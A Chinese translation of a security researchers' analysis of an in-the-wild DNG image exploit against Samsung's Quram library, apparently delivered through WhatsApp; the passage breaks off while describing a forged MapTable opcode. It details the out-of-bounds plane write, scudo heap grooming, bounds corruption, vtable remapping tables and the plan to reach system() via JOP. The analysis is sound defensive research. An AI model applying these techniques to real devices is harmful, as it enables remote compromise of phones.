Android ITW DNG exploit 分析

访问原始链接 Google 翻译

引言

2024年7月至2025年2月期间,有6个可疑的图像文件被上传到VirusTotal。得益于Meta提供的线索,这些样本引起了Google威胁情报小组的注意。

对这些图像的分析表明,这些图像是针对Quram库的DNG文件,Quram库是三星设备专用的图像解析库。

2025年11月7日,Unit 42发布了一篇博客文章,描述了这些exploit的使用方式以及它们投放的间谍软件。在这篇博客文章中,我们希望重点探讨这些exploit如何运作的技术细节。被利用的三星漏洞已于2025年4月修复。

此前已有出色的研究工作描述了针对iOS的基于图像的exploit,例如Project Zero关于FORCEDENTRY的分析文章。针对Android的类似野外“一击即中”的基于图像的exploit公开文档较少,但我们绝不认为这是因为它们不存在。因此,我们认为公开记录此类Android exploit的技术细节是一个有趣的案例研究。

攻击向量

其中几个exploit在VirusTotal的提交文件名表明这些图像是通过WhatsApp接收的:

IMG-20240723-WA0000.jpg
IMG-20240723-WA0001.jpg
IMG-20250120-WA0005.jpg
WhatsApp Image 2025-02-10 at 4.54.17 PM.jpeg

列出的前几个文件名遵循Android版WhatsApp的命名规则。最后一个文件名是WhatsApp Web命名图像下载的方式。

根据文件名,前两张图像是在同一天接收的,可能由同一个目标接收。后续分析显示,第一张图像针对jemalloc分配器,而第二张针对scudo分配器,后者用于较新的Android版本。这篇博客文章将详细说明针对scudo分配器的exploit版本,因为这个分配器更加强化,并且与近期设备更相关。jemalloc版本中使用的概念和技术是相似的。

最终的有效载荷(我们稍后会看到)表明exploit期望在com.samsung.ipservice进程中运行。WhatsApp和com.samsung.ipservice之间有什么关系?这个进程是什么?

com.samsung.ipservice进程是三星特有的系统服务,负责为其他三星应用程序提供“智能”或AI驱动的功能。它会定期扫描和解析Android MediaStore中的图像和视频。

当WhatsApp接收并下载图像时,会将其插入到MediaStore中。这意味着下载的WhatsApp图像(和视频)可以触及com.samsung.ipservice应用程序内的图像解析攻击面。

然而,WhatsApp并不打算自动从未受信任的联系人处下载图像。(不过,Android版WhatsApp的逻辑更为微妙。更多细节可以在Brendon Tiszka关于另一个问题的报告中找到)。这意味着,在没有额外绕过措施且假设图像由不受信任的联系人发送的情况下,目标需要点击图像才能触发下载并将其添加到MediaStore中。这将意味着这实际上是一个“1-click” exploit。不过,我们没有任何关于攻击者使用此类绕过措施的知识或证据。

一张奇怪的图像

在我们深入探讨exploit之前,先了解一下我们正在处理的是什么类型的文件。


$ file "WhatsApp Image 2025-02-10 at 4.54.17 PM.jpeg"
WhatsApp Image 2025-02-10 at 4.54.17 PM.jpeg: TIFF image data, little-endian, direntries=24, width=1, height=1, bps=8, compression=none, PhotometricInterpretation=BlackIsZero, description={"shape": [1, 1, 1]}, manufacturer=Canon, model=Canon EOS 350D DIGITAL, orientation=upper-left
$ exiftool "WhatsApp Image 2025-02-10 at 4.54.17 PM.jpeg"
...
File Type                       : DNG
File Type Extension             : dng
MIME Type                       : image/x-adobe-dng
...
Image Width                     : 16
Image Height                    : 16
Bits Per Sample                 : 8
Compression                     : Uncompressed
Photometric Interpretation      : Color Filter Array
Image Description               : {"shape": [16, 16]}
Samples Per Pixel               : 1
X Resolution                    : 1
Y Resolution                    : 1
Resolution Unit                 : None
Tile Width                      : 16
Tile Length                     : 16
Tile Offsets                    : 6596538
Tile Byte Counts                : 256
CFA Repeat Pattern Dim          : 2 2
CFA Pattern 2                   : 0 1 1 2
CFA Plane Color                 : Red,Green,Blue
CFA Layout                      : Rectangular
Active Area                     : 0 0 10 10
Opcode List 1                   : [opcode 23], [opcode 23], [opcode 23], [opcode 23], ...
Opcode List 2                   : [opcode 23], [opcode 23], [opcode 23], [opcode 23], [opcode 23], ...
Opcode List 3                   : TrimBounds, DeltaPerColumn, DeltaPerColumn, DeltaPerColumn, ...
Subfile Type                    : Full-resolution image
Strip Offsets                   : 6596794
Strip Byte Counts               : 1
...

(我们截断了“Opcode List”行,因为在实际的exiftool输出中它们包含数千个操作码。)

尽管图像以jpeg扩展名保存,但这实际上是一张Digital Negative (DNG) 图像。根据维基百科:

Digital Negative (DNG) 是一种开源、无损、定义明确的相机RAW数据容器,旨在取代一系列专有的、闭源的原始图像容器。它由Adobe开发。
…
DNG基于TIFF/EP标准格式,并强制大量使用元数据。该文件格式的规范是开放的,不受任何知识产权限制或专利约束。

图像的宽度和高度看起来异常小。这些操作码列表又是什么?

DNG格式基础知识

DNG格式规范可以在Adobe的网站上找到。

DNG文件使用SubIFD树(如TIFF-EP规范所述)来包含同一图像的多个版本,例如预览图和主图像。这个DNG文件有3个SubIFD:

  • 类型为“Preview Image”,宽度1,长度1
  • 类型为“Main Image”,宽度16,长度16
  • 类型为“Main Image”,宽度1,长度1

正如我们之前简要提到的,这些图像的尺寸显然非常可疑,而且存在两个“Main Image”类型也很可疑。我们尚未弄清楚第二个主图像的用途(如果有的话)。

DNG图像可以包含3个“操作码列表”。事实证明,这些“操作码”在本exploit的上下文中将非常重要。它们的目的是将一些处理步骤从相机卸载到DNG阅读器。它们的预期用例是例如执行镜头校正。之所以有3个操作码列表,是因为它们旨在DNG解码的不同阶段应用:

  1. 从DNG文件中读取原始图像字节,即“阶段1”图像
    • 操作码列表1指定应应用于阶段1图像的操作码列表
  2. DNG解码器将原始图像字节映射到线性参考值,从而产生“阶段2”图像
    • 操作码列表2指定应应用于阶段2图像的操作码列表
  3. DNG解码器对线性参考值执行去马赛克,从而产生“阶段3”图像
    • 操作码列表3指定应应用于阶段3图像的操作码列表

每个操作码都有一个操作码ID以及数量不等的参数。最新的规范(2023年9月的1.7.1.0版)包含14个不同的操作码,操作码ID从1到14。以下是规范中操作码描述的示例:

对于这个exploit,只有3个操作码是相关的:

  • TrimBounds(操作码ID 6):此操作码将图像裁剪到指定的矩形区域。
  • MapTable(操作码ID 7):此操作码通过16位查找表映射图像的指定区域和平面范围。
  • DeltaPerColumn(操作码ID 11):此操作码对图像的指定区域和平面范围应用每列增量(恒定偏移)。

DeltaPerColumn和MapTable对区域(由顶部、左侧、底部和右侧参数定义)和平面范围(由起始平面和平面数量参数定义)执行转换。

查看上面exiftool输出中的操作码列表,我们已经注意到一些可疑之处:

  • 它们使用了操作码ID为23的操作码(exiftool无法将其映射到操作码名称)。
  • 典型的良性DNG图像只包含少数几个操作码,而这张图像的操作码列表中有数千个操作码。

Quram

如前所述,基于有效载荷的目标进程是三星固件特有的com.samsung.ipservice。那么接下来的问题是,该应用程序中哪部分代码执行DNG解码。

查看反编译的com.samsung.ipservice APK(在我们的测试手机上位于/system/priv-app/IPService/IPService.apk),我们可以看到当应用程序解析扩展名为“jpg”、“jpeg”、“JPG”或“JPEG”的文件时,它将调用Java方法com.quramsoft.images.QrBitmapFactory.decodeFile(捆绑在同一个APK中)。

public class com.quramsoft.images.QrBitmapFactory {

   public static Bitmap decodeFile(String str, Options options) {
        Bitmap decodeFile = QuramBitmapFactory.decodeFile(str, options); // [1]; calls into Java_com_quramsoft_images_QuramBitmapFactory_nativeDecodeFile2
                                                                         // Fails
        if ((options.inJustDecodeBounds && (options.outWidth > 0 || options.outHeight > 0)) || decodeFile != null) {
            return decodeFile;
        }
        try {
            Bitmap decodeFile2 = QuramDngBitmap.decodeFile(str, options); // [2]; calls into Java_com_quramsoft_images_QuramDngBitmap_DecodeDNGImageBufferJNI
            if (options.outWidth <= 0) {
                if (options.outHeight <= 0) {
                    return decodeFile2;
                }
            }
            options.outMimeType = "image/dng";
            return decodeFile2;
        } catch (IOException e2) {
            e2.printStackTrace();
            return null;
        }
    }

“Quram库”是一套由三星在其Android设备上使用的专有、闭源软件库。其主要功能是处理、解析和解码各种图像格式。该库并非由三星自行开发,而是由名为Quramsoft的第三方软件供应商创建。Mateusz Jurczyk早在2020年就撰文介绍过这个库。

QrBitmapFactory.decodeFile方法将首先尝试使用QuramBitmapFactory.decodeFile解码图像(参见[1]),它调用原生库Java_com_quramsoft_images_QuramBitmapFactory_nativeDecodeFile2的导出函数libimagecodec.quram.so。此函数处理PNG、JPEG和GIF等格式,但不处理DNG。这个原生库不是IPService APK的一部分,而是位于/system/lib64/libimagecodec.quram.so。

当QuramBitmapFactory.decodeFile失败时,QrBitmapFactory.decodeFile会调用QuramDngBitmap.decodeFile作为后备(参见[2]),然后调用Java_com_quramsoft_images_QuramDngBitmap_DecodeDNGImageBufferJNI。此函数将执行完整的DNG解码,漏洞正是在此代码路径中被触发,exploit完全执行。

调用序列总结如下:

com.quramsoft.images.QrBitmapFactory.decodeFile (com.samsung.ipservice.apk)
|_ com.quramsoft.images.QuramBitmapFactory.decodeFile (com.samsung.ipservice.apk)
|  |_  Java_com_quramsoft_images_QuramBitmapFactory_nativeDecodeFile2 (/system/lib64/libimagecodec.quram.so) // Fails
|
|_ com.quramsoft.images.QuramDngBitmap.decodeFile (com.samsung.ipservice.apk)
   |_ Java_com_quramsoft_images_QuramDngBitmap_DecodeDNGImageBufferJNI (/system/lib64/libimagecodec.quram.so) // Triggers bug

分析设置

在分析这个exploit时,有几个工具非常有用,我们接下来会描述。

首先,在静态分析方面,我们需要了解调用的不同操作码及其参数的概况。exiftool只给出了(转换后的)操作码ID列表。要检查每个操作码及其参数,我们可以使用Adobe DNG SDK提供的dng_validate工具并加上-v标志。它将解析操作码列表,我们可以后处理其文本输出以理解这数千个操作码。以下是输出片段的示例,显示了一些TrimBounds和DeltaPerColumn操作码的不同参数。

...
Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1

Parsing OpcodeList3: 5347 opcodes

Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1
Bounds: t=0, l=0, b=1, r=1

Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
AreaSpec: t=0, l=0, b=1, r=1, p=5125:5123, rp=1, cp=1
Count: 1
    Delta [0] = 26214.000000

Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
AreaSpec: t=0, l=0, b=1, r=1, p=5127:5125, rp=1, cp=1
Count: 1
    Delta [0] = 26214.000000

Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
AreaSpec: t=0, l=0, b=1, r=1, p=5157:5155, rp=1, cp=1
Count: 1
    Delta [0] = 26214.000000
...

在动态分析方面,调试com.samsung.ipservice会非常麻烦,因为它只定期运行(尽管有技巧可以强制启动它)。为了便于调试,我们重用了@flankerhqd的fuzzing工具(部分基于Project Zero的SkCodecFuzzer),它将作为文件名提供的DNG文件加载到缓冲区中,并传递给libimagecodec.quram.so的QrDecodeDNGPreview。我们将其编译为独立二进制文件,并可以在调试器下运行。

值得注意的是,QrDecodeDNGPreview(在我们的工具中使用)并不是com.samsung.ipservice调用的导出函数(最终会调用QuramDngDecoder::decode)。但是,如果没有预览图像可用且采用JPEG压缩类型之一,QrDecodeDNGPreview将调用QuramDngDecoder::decodePreview,它也会执行完整的DNG解码并成功触发漏洞和exploit。

我们的测试手机是三星Galaxy S21 5G (SM-G991B),运行固件版本G991BXXSAFXCL,安全补丁级别为2024-04-01。

漏洞

使用dng_validate工具,我们可以列出调用的操作码序列及其重复次数:

$ grep Opcode dng_validate.out  | uniq -c
      1 OpcodeList1: count = 320004, offset = 814
      1 OpcodeList2: count = 3844, offset = 320818
      1 OpcodeList3: count = 6271556, offset = 324662
      1 Parsing OpcodeList1: 20000 opcodes
  20000 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1
      1 Parsing OpcodeList2: 240 opcodes
    240 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1
      1 Parsing OpcodeList3: 5347 opcodes
      1 Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1
    480 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      1 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
     34 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      2 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
     34 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      1 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
    400 Opcode: TrimBounds, minVersion = 1.4.0.1, flags = 1
      4 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
     48 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      4 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
    216 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      4 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
     24 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
     15 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
     34 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      1 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
     34 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
    240 Opcode: TrimBounds, minVersion = 1.4.0.1, flags = 1
      2 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
     48 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      2 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
    216 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      4 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
     12 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
      6 Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
   2438 Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
   1040 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1
      1 Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1
      1 Opcode: ScalePerColumn, minVersion = 1.4.0.0, flags = 1

规范提到,如果设置了标志位(这里确实设置了),则应跳过具有未知操作码ID的操作码。所以让我们暂时忽略ID为23的“Unknown”操作码(稍后再讨论它们)。

让我们看看前2个已知操作码,它们出现在操作码列表3中:

$ grep -A8 TrimBounds dng_validate.out  | head -n 8
Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1
Bounds: t=0, l=0, b=1, r=1

Opcode: DeltaPerColumn, minVersion = 1.4.0.0, flags = 1
AreaSpec: t=0, l=0, b=1, r=1, p=5125:5123, rp=1, cp=1
Count: 1
    Delta [0] = 26214.000000

DNG操作码参数直接嵌入在文件中。DeltaPerColumn接受一个要应用于每个像素的增量列表以及要操作的“区域规格”:顶部、左侧、右侧、底部坐标,目标平面和总平面数,以及每行和每列的长度(rowPitch和colPitch)。这些值可由攻击者控制。

DeltaPerColumn操作码的“起始平面”(5125)和“平面数量”(5123)参数非常可疑。在DNG解码的第3阶段,平面数将是3(R、G和B),这可以从exiftool输出的CFA相关数据中看出。第一个值(5125)是应用DeltaPerColumn的起始平面,第二个值(5123)是平面数量。由于平面编号从0到2,这些值明显越界。

让我们看看QuramDngOpcodeDeltaPerColumn::processArea,它是DeltaPerColumn操作码的处理函数。以下是该函数中与漏洞相关的代码行。(变量名由我们选择,因为这是一个闭源库)

__int64 __fastcall QuramDngOpcodeDeltaPerColumn::processArea(
        QuramDngOpcode *opcode,
        QuramDngDecoder *decoder,
        QuramDngImage *image,
        QuramDngRect *rect)
{
...
    image_buffer = image->buffer;
...
                image_number_of_planes = image_buffer->planes;  // 3
                opcode_first_plane = opcode->plane;  // 5125
....
                opcode_number_of_planes = opcode->planes;  // 5123
                opcode_last_plane = image_number_of_planes + opcode_number_of_planes;  // 3 + 5123 = 5126
...
                    if (opcode_first_plane < opcode_last_plane )  // 5125 < 5126
                    {
...
                            current_plane = opcode_first_plane;  // 5125
...
                                do
                                {
...                                 // Add delta to the value in the raw pixel buffer at offset corresponding to plane `current_plane`, i.e. 5125!
                                    current_plane++;
                                }
                                while ( current_plane != opcode_last_plane );  // 5125 != 5126
...
}

该函数接受几个具有Quram特定结构的对象作为参数。QuramDngImage描述了要应用操作码的图像(此时是阶段3图像)。QuramDngOpcode包含DeltaPerColumn参数。该函数有一个三重嵌套循环来迭代区域的宽度、长度和平面。对于每个这样的三元组(宽度、长度、平面),它计算原始像素缓冲区中的偏移并向其添加增量。只有平面循环与漏洞相关,并在上面的代码中显示。

以下是一个6x6图像及其不同颜色平面的示例,以及像素值在原始像素缓冲区中映射到的偏移。在阶段2和阶段3图像处理期间,每个颜色平面中的每个像素值占用16位。

该处理函数存在两个问题:

  • opcode_last_plane计算错误。它应该是opcode_first_plane + opcode_number_of_planes(正如修补版本中的情况)。这本身是一个正确性问题(而且是一个非常基本的问题,预计会在库的正常使用或测试中暴露出来)。
  • 偏移计算中使用的平面受opcode_last_plane限制,但从未检查opcode_last_plane是否在图像包含的平面数量范围内。

exploit中的实际值在代码片段中以注释形式标注。使用这些值,平面循环将恰好执行一次。宽度和长度循环也将只执行一次,因为t=0, l=0, b=1, r=1。这意味着恰好会发生一次写入。由于exploit中的阶段3图像宽度为1,长度为1,写入将发生在距离原始像素缓冲区偏移5125 x 2 = 10250处。

不仅写入的偏移是受控的,要添加到原始像素缓冲区当前值的值也完全受控,因为它是操作码参数。在本例中,它是26214.0(或0x6666)。因此,这个漏洞从一开始就提供了一个非常强大的原语:攻击者可以在相对于原始像素缓冲区的选定偏移处添加选定的值。

那么为什么在触发漏洞之前需要那个TrimBounds操作码呢?当我们讨论堆布局策略时,这一点就会变得清晰。

Exploit流程

堆布局策略

由于包含像素值的缓冲区是在堆上动态分配的,因此了解Quram库进行哪些堆分配以及这些分配的行为方式对于理解漏洞触发时的堆布局非常重要。

如前所述,存在针对使用jemalloc和scudo分配器的Android版本的exploit。我们将分析针对scudo分配器的exploit,因为这是现代Android版本上常见的分配器。相同的技术在jemalloc exploit中以不同的方式使用。

Scudo

我们不会详细概述Android的scudo分配器(此处用于分配),因为Synacktiv的优秀文档已经存在,我们参考该文档。我们只提及对这个exploit重要的元素。

Scudo根据分配大小在不同的堆区域中分配对象。要使两个不同类型的对象彼此靠近,它们需要属于相同的大小类别。从分配器角度来看,“块”所需的大小由以下部分组成:

  • 0x10字节的头部
  • 用户请求大小的块。指向该块的指针返回给调用者。

新的分配通过“转移批次”获取。转移批次中的分配数量取决于大小类别。对于我们感兴趣的大小(0x30字节的块,即0x40字节的块),一个转移批次中有52个分配。转移批次内的分配以随机顺序返回,但后续的转移批次只是在内存中线性排列。这样做的结果是,如果在两个相同大小的分配之间有足够的分配,攻击者可以确信最后一个分配在第一个分配之后。

最后,scudo支持隔离机制,防止已释放的分配在下一次分配请求时立即返回。但在Android上,此隔离机制被禁用。其后果是,已释放的对象将在下一次相同大小的分配请求时直接重新分配。

Quram的堆分配

在基本了解scudo的分配行为后,让我们看看Quram在解码DNG文件时进行的特定堆分配。

首先,当Quram解析DNG文件中的操作码列表时,它将为每个操作码分配一个QuramDngOpcode对象。这些对象包含操作码的参数,以及指向该操作码处理函数的vtable指针。因此,此类对象的大小取决于参数的数量和类型,进而取决于操作码的类型。不同操作码的大小可以在QuramDngDecoder::makeDngOpcode中查找。对于手头的exploit,只有以下操作码大小是相关的:

  • DeltaPerColumn(操作码ID 11):0x50字节
  • MapTable(操作码ID 7):0x50字节
  • TrimBounds(操作码ID 6):0x30字节
  • Unknown(从操作码ID 14开始,例如exploit中的操作码ID 23):0x30字节

这意味着TrimBounds和Unknown操作码将落在同一个堆区域,与包含DeltaPerColumn和MapTable操作码的堆区域不同。

接下来,对于每个阶段图像,Quram将分配三个堆缓冲区:

  • 一个固定大小为0x30的QuramDngImage,用于描述图像
  • 一个用于像素值的可变大小缓冲区(取决于宽度、高度和平面数)
  • 一个固定大小为0x40的QuramDngPixelBuffer,用于描述缓冲区的内容

这些不同的对象及其关系如下图所示:

这里有两个“像素缓冲区”在起作用,这可能有点令人困惑:QuramDngPixelBuffer对象和包含像素值的原始缓冲区。在下文中,当我们谈论“原始像素缓冲区”时,指的是后者。

QuramDngImage和QuramDngPixelBuffer将落在不同的堆区域,因为它们属于不同的scudo分配类别大小。原始像素缓冲区可能最终与QuramDngImage位于同一个堆区域,具体取决于其大小。其大小由ComputeBufferSize计算。对于exploit的阶段3图像的尺寸(宽度1,长度1,3个颜色平面),它将计算出0x30字节的大小(尽管6字节就足够了)。对于阶段1和阶段2图像,大小不同,并将分配在不同的堆区域。

总之,TrimBounds操作码、Unknown操作码、QuramDngImage对象以及可能的原始像素缓冲区最终都将位于同一个堆区域。

最终堆布局

我们现在可以研究DNG解码期间的事件序列,以了解漏洞触发时的堆布局:

  • QuramDngDecoder::getRegionStage1Image将分配一个“阶段1”的QuramDngImage(大小0x30)
  • QuramDngDecoder::readStage1Image解析3个操作码列表,并为每个操作码分配一个QuramDngOpcode结构。正如我们所见,只有TrimBounds和Unknown操作码将落在我们感兴趣的0x30字节块的同一堆区域中。其他操作码分配在不同的堆区域。
$ grep -E 'OpcodeList|TrimBounds|Unknown' dng_validate.out  | uniq -c
      1 OpcodeList1: count = 320004, offset = 814
      1 OpcodeList2: count = 3844, offset = 320818
      1 OpcodeList3: count = 6271556, offset = 324662
      1 Parsing OpcodeList1: 20000 opcodes
  20000 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1
      1 Parsing OpcodeList2: 240 opcodes
    240 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1
      1 Parsing OpcodeList3: 5347 opcodes
      1 Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1
    640 Opcode: TrimBounds, minVersion = 1.4.0.1, flags = 1
   1040 Opcode: Unknown (23), minVersion = 1.4.0.0, flags = 1
      1 Opcode: TrimBounds, minVersion = 1.4.0.0, flags = 1
  • QuramDngDecoder::buildStage2Image将应用操作码列表1。完成后,它包含的20000个未知操作码被释放。
  • QuramDngDecoder::doBuildStage2将分配一个QuramDngImage“阶段2”(大小0x30)并将阶段1转换为阶段2。这个阶段2图像将占据操作码列表1中最后释放的操作码的位置。
  • QuramDngDecoder::buildStage2Image现在可以释放“阶段1”的QuramDngImage。然后它将处理操作码列表2,并释放240个“未知”操作码。
  • QuramDngDecoder::doInterpolateStage3将同时分配一个新的“阶段3”QuramDngImage(大小0x30)以及随后一个大小为0x30的原始像素缓冲区。这些将占据上一步中从操作码列表2释放的最后2个操作码的位置。
  • QuramDngDecoder::buildStage3Image现在可以释放“阶段2”的QuramDngImage。
  • 现在处理操作码列表3。在第一个TrimBounds操作码中,QuramDngOpcodeTrimBounds::doApply将分配一个新的0x30大小的原始像素缓冲区(尽管被替换的原始像素缓冲区具有完全相同的大小)。此分配将占据已释放的阶段2图像的位置。

请注意,其他640个TrimBounds操作码的“minVersion”为1.4.0.1。这是一个技巧,将使QuramDngOpcode::aboutToApply提前退出,而不会实际执行TrimBounds。喷洒这640个TrimBounds操作码的目的稍后会变得清晰。

  • 请注意,其他640个TrimBounds操作码的“minVersion”为1.4.0.1。这是一个技巧,将使QuramDngOpcode::aboutToApply提前退出,而不会实际执行TrimBounds。喷洒这640个TrimBounds操作码的目的稍后会变得清晰。

最终大小为0x30的块的堆布局如下图所示。标注的偏移量稍后将很重要。

请注意,由于scudo的随机化策略,不同操作码列表的分配实际上会略有重叠(大约52个分配),但如果有足够的分配,这种影响可以忽略不计。

由于分配的块大小为0x30字节,它们在堆上占用0x40字节。因此,此堆区域中的不同块以0x40字节的倍数间隔,这将帮助我们快速推断对象的哪些部分被破坏。图示还描绘了分配占用的总大小,这对于理解后续的exploit流程很重要。

正如我们将看到的,exploit将从阶段3的原始像素缓冲区越界写入到阶段3的QuramDngImage中。这解释了为什么攻击者首先在触发漏洞之前使用了TrimBounds操作码:它确保原始像素缓冲区最终位于QuramDngImage之前。如果没有它,原始像素缓冲区有二分之一的几率占据QuramDngImage之后的位置。

初始破坏

在使用TrimBounds实现正确的堆布局后,接着是480个DeltaPerColumn操作码。提醒一下,由于分配大小不同,这些操作码分配在不同的堆区域。如前所述,DeltaPerColumn操作码能够向任意越界偏移添加任意值。攻击者向240个堆对象中偏移10和12处添加0x6666,从原始像素缓冲区偏移0x2800开始,到偏移0x6400结束。

查看我们的堆布局,我们将在这些偏移处破坏三种类型的对象:

  • Unknown和TrimBounds操作码:操作码结构在偏移8处包含操作码ID,在偏移12处包含规范版本。由于操作码ID将被破坏,这些TrimBounds和Unknown操作码稍后将被简单地跳过(Unknown操作码已经是这种情况)。
Before:
0xb400007e3e3fa050:     0x0000007fee5a3fb0      0x0104000000000017
0xb400007e3e3fa060:     0x0000000100000001      0x0000000000000002
0xb400007e3e3fa070:     0x0000000000000000      0x0000000000000000
After:
0xb400007e3e3fa050:     0x0000007fee5a3fb0      0x676a000066660017
0xb400007e3e3fa060:     0x0000000100000001      0x0000000000000002
0xb400007e3e3fa070:     0x0000000000000000      0x0000000000000000
  • 最重要的是,它将遇到QuramDngImage对象。该对象的两个被破坏的字段是图像的“底部”和“右侧”字段,这些字段在其他操作码处理函数中用于验证操作是否在边界内。这意味着我们现在可以使用其他操作码(例如MapTable)来执行越界操作。
Before:
0xb400007e3e3fb810:     0x0000000000000000      0x0000000100000001
0xb400007e3e3fb820:     0x0000000300000003      0xb400007f1e2d7ad0
0xb400007e3e3fb830:     0xb400007e3e3f7850      0x0000000000000030
After:
0xb400007e3e3fb810:     0x0000000000000000      0x6666000166660001
0xb400007e3e3fb820:     0x0000000300000003      0xb400007f1e2d7ad0
0xb400007e3e3fb830:     0xb400007e3e3f7850      0x0000000000000030

例如,如果我们查看紧随其后的第一个MapTable,它看起来像:

Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
AreaSpec: t=0, l=5120, b=1, r=5121, p=0:1, rp=1, cp=1
Count: 65536

在正常情况下,“左侧”和“右侧”值将越界,此操作码不会执行任何操作。但由于我们破坏了QuramDngImage的尺寸,此操作码将越界操作。

扩展原语

用选定值递增任意越界值是一个强大的原语,但exploit可能还希望写入绝对的任意越界值。不过,前者可以很容易地转换为后者。

如果我们有一个将零写入越界的原语,我们可以将其与递增原语结合,分两步写入任意值:将内存清零,然后用我们想要写入的值递增它。

清零内存可以通过两种方式实现,exploit中两种都使用了:

  • 使用MapTable操作码,其替换表全为零
  • 使用DeltaPerColumn操作码。“Delta”参数是一个浮点数,并且支持-Infinity,这会将结果值设置为0。

在exploit中,MapTable仅用于清零大区域,可能是因为MapTable操作码的空间开销较大(因为它需要包含65536个值的替换表)。

构建伪造的MapTable操作码

有了线性的越界写入原语,exploit现在可以:

  • 将shell命令写入越界的某个地方
  • 将JOP gadget链写入越界的某个地方,最终调用system()
  • 覆盖要执行的操作码对象的vtable指针以启动JOP链,导致system()执行

但有一个重要问题:我们不知道任何所需的地址,因为堆和库都受ASLR影响。为了泄露JOP gadget的地址,exploit必须做更多工作。

让我们再次展示第一个MapTable操作码:

Opcode: MapTable, minVersion = 1.4.0.0, flags = 1
AreaSpec: t=0, l=5120, b=1, r=5121, p=0:1, rp=1, cp=1
Count: 65536

此操作码将作用于原始像素缓冲区偏移5120 x 2 bytes/pixel x 3 colors/pixel = 0x7800处,该区域位于那641个TrimBounds操作码的区域内。

它正在破坏TrimBounds操作码对象的vtable指针的低2字节。查看替换表,大多数值映射到自身,但有一些不是。(我们必须编写额外的脚本来解析这一点,因为dng_validate对这些长替换表的输出被截断了)。
例如,值0xecf0映射到0xed30。查看libimagecodec.quram.so二进制文件,新地址指向MapTable vtable。这个技巧允许攻击者通过将vtable指针移动到另一个vtable,从而将TrimBounds操作码“类型混淆”为MapTable操作码,而无需先泄露任何ASLR信息。

他们的替换表支持不同版本的库,这是可行的,因为库的版本不多(exploit支持7个版本),并且vtable的低字节不会冲突。此外,由于ASLR在页面级别粒度应用,他们需要考虑vtable可以映射到的每个页面倍数。假设我们有以下vtable偏移:

libimagecodec.quram.so版本x
libimagecodec.quram.so版本y

QuramDngOpcodeTrimBounds vtable偏移
0x2dccf0
0x2dce10

QuramDngOpcodeMapTable vtable偏移
0x2dcd30
0x2dce50

那么将构造以下MapTable替换表(省略不重要的值,它们可以映射到任何值):

index  : value
0x0cf0 : 0x0d30
0x0e10 : 0x0e50
0x1cf0 : 0x1d30
0x1e10 : 0x1e50
0x2cf0 : 0x2d30
0x2e10 : 0x2e50
0x3cf0 : 0x3d30
0x3e10 : 0x3e50
0x4cf0 : 0x4d30
0x4e10 : 0x4e50
0x5cf0 : 0x5d30
0x5e10 : 0x5e50
0x6cf0 : 0x6d30
0x6e10 : 0x6e50
0x7cf0 : 0x7d30
0x7e10 : 0x7e50
0x8cf0 : 0x8d30
0x8e10 : 0x8e50
0x9cf0 : 0x9d30
0x9e10 : 0x9e50
0xacf0 : 0xad30
0xae10 : 0xae50
0xbcf0 : 0xbd30
0xbe10 : 0xbe50
0xccf0 : 0xcd30
0xce10 : 0xce50
0xdcf0 : 0xdd30
0xde10 : 0xde50
0xecf0 : 0xed30
0xee10 : 0xee50
0xfcf0 : 0xfd30
0xfe10 : 0xfe50

使用前面描述的任意写入原语,exploit还破坏了TrimBounds对象的各个字段,将其转换为功能性的伪造MapTable对象。请注意,常规的MapTable操作码对象比TrimBounds操作码大,因此在正常情况下也会落在不同的scudo堆类别中。显然,库并不知道这一点,在这种情况下只会越界读取操作码参数。

构建的伪造MapTable操作码对象如下所示:


Before:
00007800: f0fc f8cc 7f00 0000 0600 0000 0100 0401  // TrimBounds opcode X
00007810: 0100 0000 0100 0000 0300 0000 0000 0000
00007820: 0000 0000 0100 0000 0100 0000 0000 0000
00007830: 0301 0300 0000 71ca 0000 0000 0000 0000
00007840: f0fc f8cc 7f00 0000 0600 0000 0100 0401  // TrimBounds opcode Y

After:
00007800: 30fd f8cc 7f00 0000 0600 0000 0000 0401
           | |                           \-\---> Will prevent bailout in QuramDngOpcode::aboutToApply
           \---> changed vtable pointer, from TrimBounds to MapTable
